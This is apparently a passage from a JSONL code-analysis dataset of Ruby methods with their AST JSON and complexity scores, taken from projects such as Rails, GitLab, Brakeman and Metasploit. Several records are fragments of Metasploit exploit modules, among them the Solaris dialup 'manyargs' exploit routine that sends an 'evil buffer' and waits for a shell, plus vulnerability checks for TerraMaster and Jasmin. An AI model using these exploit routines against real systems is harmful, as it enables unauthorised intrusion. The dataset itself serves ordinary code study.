"4.2.29\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TOS version is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terramaster\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tos_version\"]}]}]},{\"type\":\"str\",\"children\":[\" and CPU architecture is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terramaster\"]},\"[]\",{\"type\":\"str\",\"children\":[\"cpu_arch\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TOS version is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terramaster\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tos_version\"]}]}]},{\"type\":\"str\",\"children\":[\" and CPU architecture is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terramaster\"]},\"[]\",{\"type\":\"str\",\"children\":[\"cpu_arch\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}","id":"e347e04d-fcaf-4c67-9250-e312d703f581"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/sanitize_helper_test.rb","start_line":245,"raw_source":"def test_deprecated_methods_are_supported\n    assert_respond_to(vendor, :white_list_sanitizer)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deprecated_methods_are_supported\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_respond_to\",{\"type\":\"send\",\"children\":[null,\"vendor\"]},{\"type\":\"sym\",\"children\":[\"white_list_sanitizer\"]}]}]}","id":"1e76057d-7924-4f39-8166-70e2b2a8a86d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/openmediavault_auth_cron_rce.rb","start_line":87,"raw_source":"def pass\n    datastore['PASSWORD']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pass\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}","id":"65a36200-fc93-4a0b-90b3-47e5e62087ef"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/generic/ssh/interact.rb","start_line":33,"raw_source":"def on_session(session)\n    super\n\n    session.arch.clear # undo the ARCH_ALL amalgamation\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"arch\"]},\"clear\"]}]}]}","id":"64ea3cb4-c173-4267-beb4-193a28f511fb"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/articles_controller.rb","start_line":143,"raw_source":"def per_page_max\n      (ApplicationConfig[\"API_PER_PAGE_MAX\"] || 1000).to_i\n    end","complexity_score":3.83,"ast_json":"{\"type\":\"def\",\"children\":[\"per_page_max\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationConfig\"]},\"[]\",{\"type\":\"str\",\"children\":[\"API_PER_PAGE_MAX\"]}]},{\"type\":\"int\",\"children\":[1000]}]}]},\"to_i\"]}]}","id":"fd1b140f-8900-4376-8ac0-64fda378f549"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/jasmin_ransomware_dir_traversal.rb","start_line":50,"raw_source":"def check\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path)\n    )\n    return Exploit::CheckCode::Unknown(\"#{peer} - Could not connect to web service - no response\") if res.nil?\n    return Exploit::CheckCode::Safe(\"#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}\") unless res.code == 200\n\n    return Exploit::CheckCode::Detected('Jasmin Login page detected') if res.body.include? '<title>Jasmin Dashboard</title>'\n\n    Exploit::CheckCode::Safe(\"#{peer} - Jasmin login page not found\")\n  end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Check URI Path, unexpected HTTP response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"<title>Jasmin Dashboard</title>\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Jasmin Login page detected\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Jasmin login page not found\"]}]}]}]}]}","id":"d32a81ef-f544-4da0-8846-7de8b9ba0332"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb","start_line":408,"raw_source":"def request_tgs_only(credential, options = {})\n    # load a cached TGS\n    if (ccache = get_cached_credential(options))\n      print_status(\"Using cached credential for #{ccache.server} #{ccache.client}\")\n      return ccache\n    end\n\n    auth_context = authenticate_via_krb5_ccache_credential_tgt(credential, options)\n    auth_context[:credential]\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"request_tgs_only\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credential\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ccache\",{\"type\":\"send\",\"children\":[null,\"get_cached_credential\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using cached credential for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ccache\"]},\"server\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ccache\"]},\"client\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ccache\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"auth_context\",{\"type\":\"send\",\"children\":[null,\"authenticate_via_krb5_ccache_credential_tgt\",{\"type\":\"lvar\",\"children\":[\"credential\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"credential\"]}]}]}]}","id":"32baab0b-60c0-40cc-ad93-0c30966753a2"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/renderers.rb","start_line":142,"raw_source":"def use_renderers(*args)\n        renderers = _renderers + args\n        self._renderers = renderers.freeze\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"use_renderers\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"renderers\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_renderers\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_renderers=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"renderers\"]},\"freeze\"]}]}]}]}","id":"f386015f-b4a9-430e-8150-b74a86e9c1aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/gitlab_slack_application.rb","start_line":85,"raw_source":"def after_build_from_integration(new_integration)\n      return unless slack_integration\n\n      new_integration.slack_integration = slack_integration.dup.tap do |entity|\n        entity.alias = new_integration.parent&.full_path || SlackIntegration::INSTANCE_ALIAS\n        entity.authorized_scope_names = slack_integration.authorized_scope_names\n\n        # The sharding key of the slack_integrations table is derived from the\n        # sharding key set on the related Integration record\n        entity.organization_id = new_integration.organization_id\n        entity.project_id = new_integration.project_id\n        entity.group_id = new_integration.group_id\n      end\n    end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"after_build_from_integration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_integration\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slack_integration\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_integration\"]},\"slack_integration=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slack_integration\"]},\"dup\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entity\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"alias=\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_integration\"]},\"parent\"]},\"full_path\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SlackIntegration\"]},\"INSTANCE_ALIAS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"authorized_scope_names=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slack_integration\"]},\"authorized_scope_names\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"organization_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_integration\"]},\"organization_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"project_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_integration\"]},\"project_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"group_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_integration\"]},\"group_id\"]}]}]}]}]}]}]}","id":"1ac17241-a9f1-40f1-addf-6b9587138754"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/notifications_tracking.rb","start_line":12,"raw_source":"def toggle\n        trigger.click\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"toggle\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trigger\"]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"35d18faf-875c-45a8-adeb-ec90fbadc900"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rescanner.rb","start_line":16,"raw_source":"def test_no_change\n    before_rescan_of []\n\n    assert rescan.any_warnings?\n    assert_fixed 0\n    assert_new 0\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_rescan_of\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rescan\"]},\"any_warnings?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_fixed\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"assert_new\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"42d9245d-fb47-4907-a219-d25794f735f8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/terms_of_service.rb","start_line":38,"raw_source":"def effective?\n    published? && effective_date&.past?\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"effective?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"published?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"effective_date\"]},\"past?\"]}]}]}","id":"ced5d821-5632-4f68-a403-479a337d8260"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache.rb","start_line":319,"raw_source":"def deprecator\n      @deprecator ||= ActiveSupport::Deprecation.new(\"1.7.0\", \"IdentityCache\")\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"deprecator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@deprecator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Deprecation\"]},\"new\",{\"type\":\"str\",\"children\":[\"1.7.0\"]},{\"type\":\"str\",\"children\":[\"IdentityCache\"]}]}]}]}","id":"9b24dc74-24c7-4447-a791-07980f084ead"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":291,"raw_source":"def test_finding_with_arel_assoc_order\n    topics = Topic.order(Arel.sql(\"id\") => :desc)\n    assert_equal 5, topics.to_a.size\n    assert_equal topics(:fifth).title, topics.first.title\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_finding_with_arel_assoc_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"to_a\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"fifth\"]}]},\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"first\"]},\"title\"]}]}]}]}","id":"74221e08-3368-4466-b87f-c04869205925"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/solaris/dialup/manyargs.rb","start_line":154,"raw_source":"def exploit\n    buf = buildbuf\n\n    print_status('Dialing Target')\n    if !connect_dialup\n      print_error('Exiting.')\n      return\n    end\n\n    print_status('Waiting for login prompt')\n\n    res = dialup_expect(/ogin:\\s/i, 10)\n    # puts Rex::Text.to_hex_dump(res[:buffer])\n    if !(res[:match])\n      print_error('Login prompt not found... Exiting.')\n      disconnect_dialup\n      return\n    end\n\n    # send the evil buffer, 256 chars at a time\n    print_status('Sending evil buffer...')\n    # puts Rex::Text.to_hex_dump(buf)\n    len = buf.length\n    p = 0\n    while (len > 0)\n      i = len > 0x100 ? 0x100 : len\n      # puts Rex::Text.to_hex_dump(buf[p,i])\n      dialup_puts(buf[p, i])\n      len -= i\n      p += i\n      #\t\t\tif len > 0\n      #\t\t\t\tputs Rex::Text.to_hex_dump(\"\\x04\")\n      #\t\t\t\tdialup_puts(\"\\x04\") if len > 0\n      #\t\t\tend\n      select(nil, nil, nil, 0.5)\n    end\n\n    # wait for password prompt\n    print_status('Waiting for password prompt')\n    res = dialup_expect(/assword:/i, 30)\n    # puts Rex::Text.to_hex_dump(res[:buffer])\n    if !(res[:match])\n      print_error('Target is likely not vulnerable... Exiting.')\n      disconnect_dialup\n      return\n    end\n\n    print_status('Password prompt received, waiting for shell')\n    dialup_puts(\"pass\\n\")\n\n    res = dialup_expect(/#\\s/i, 20)\n    # puts Rex::Text.to_hex_dump(res[:buffer])\n    if !(res[:match])\n      print_error('Shell not found.')\n      print_error('Target is likely not vulnerable... Exiting.')\n      disconnect_dialup\n      return\n    end\n\n    print_status('Success!!!')\n    handler\n\n    disconnect_dialup\n  end","complexity_score":58.63,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[null,\"buildbuf\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Dialing Target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect_dialup\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Exiting.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Waiting for login prompt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"dialup_expect\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ogin:\\\\s\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"match\"]}]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Login prompt not found... Exiting.\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect_dialup\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending evil buffer...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]},\">\",{\"type\":\"int\",\"children\":[256]}]},{\"type\":\"int\",\"children\":[256]},{\"type\":\"lvar\",\"children\":[\"len\"]}]}]},{\"type\":\"send\",\"children\":[null,\"dialup_puts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"len\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"float\",\"children\":[0.5]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Waiting for password prompt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"dialup_expect\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"assword:\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"int\",\"children\":[30]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"match\"]}]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Target is likely not vulnerable... Exiting.\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect_dialup\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Password prompt received, waiting for shell\"]}]},{\"type\":\"send\",\"children\":[null,\"dialup_puts\",{\"type\":\"str\",\"children\":[\"pass\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"dialup_expect\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#\\\\s\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"match\"]}]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Shell not found.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Target is likely not vulnerable... Exiting.\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect_dialup\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Success!!!\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect_dialup\"]}]}]}","id":"35f2e563-b1a5-4a79-aaa5-ef2e5074074f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":713,"raw_source":"def test_number_to_currency_CVE_2014_0081\n    assert_warning :type => :template,\n      :warning_code => 74,\n      :fingerprint => \"2d06291f03b443619407093e5921ee1e4eb77b1bf045607d776d9493da4a3f95\",\n      :warning_type => \"Cross-Site Scripting\",\n      :line => 9,\n      :message => /^Format\\ options\\ in\\ `number_to_currency`\\ are/,\n      :confidence => 0,\n      :relative_path => \"app/views/users/index.html.erb\",\n      :user_input => s(:call, s(:call, nil, :params), :[], s(:lit, :currency))\n\n    assert_warning :type => :template,\n      :warning_code => 74,\n      :fingerprint => \"c5f481595217e42fbeaf40f32e6407e66d64d246a9729c2c199053e64365ac96\",\n      :warning_type => \"Cross-Site Scripting\",\n      :line => 13,\n      :message => /^Format\\ options\\ in\\ `number_to_percentage`\\ a/,\n      :confidence => 0,\n      :relative_path => \"app/views/users/index.html.erb\",\n      :user_input => s(:call, s(:call, nil, :params), :[], s(:lit, :format))\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_number_to_currency_CVE_2014_0081\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[74]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"2d06291f03b443619407093e5921ee1e4eb77b1bf045607d776d9493da4a3f95\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Format\\\\ options\\\\ in\\\\ `number_to_currency`\\\\ are\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/views/users/index.html.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"currency\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[74]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"c5f481595217e42fbeaf40f32e6407e66d64d246a9729c2c199053e64365ac96\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site 